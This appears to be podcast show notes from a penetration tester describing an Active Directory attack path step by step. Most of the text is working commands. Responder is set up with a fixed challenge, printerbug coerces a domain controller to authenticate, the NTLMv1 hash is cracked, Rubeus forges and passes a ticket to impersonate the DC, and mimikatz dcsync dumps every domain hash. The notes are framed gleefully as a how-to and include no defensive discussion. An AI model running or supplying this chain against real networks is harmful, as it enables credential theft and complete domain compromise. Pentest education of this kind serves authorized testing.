7MS: #559: Tales of Pentest Pwnage - Part 46
Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood): Change the Responder.conf file like so: ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 Run Responder with --disable-ess flag sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess Use printerbug to coax authentication from a domain controller: sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX Convert hash to make it easier to crack! sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds! Now you can do a Rubeus asktgt with the DC hash: rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!! rubeus.exe ptt /ticket:TICKET GOES HERE Use mimikatz to dump all hashes! mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv
